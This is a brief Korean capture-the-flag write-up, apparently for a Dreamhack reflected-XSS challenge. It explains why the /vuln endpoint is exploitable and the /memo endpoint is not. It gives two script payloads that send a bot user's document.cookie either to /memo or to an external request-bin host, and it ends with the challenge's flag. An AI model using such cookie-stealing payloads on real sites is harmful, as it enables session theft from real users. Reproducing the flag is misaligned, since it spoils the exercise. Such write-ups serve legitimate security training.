






이용자가 전달한 파라미터 값(param) 출력.

전달된 URL에 임의 이용자가 접속하도록 함.
* 해당 이용자의 쿠키에 FLAG가 존재함.

이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력함.
memo의 render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티드코드로 변환해 저장하기 때문에 XSS가 발생하지 않음. But, Vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생함.
문제를 해결하기 위해선 /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 함.

탈취한 쿠키를 전달받기 위해서는 외부에서 접근이 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용할 수 있음. -> location.href, document.cookie
<script>location.href = "/memo?memo=" + document.cookie;</script>
-> memo 엔드포인트에서 임의 이용자의 쿠기 정보를 확인할 수 있음.
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
-> 접속 기록에 포함된 FLAG를 확인할 수 있음.


답:
DH{2c01577e9542ec24d68ba0ffb846508e}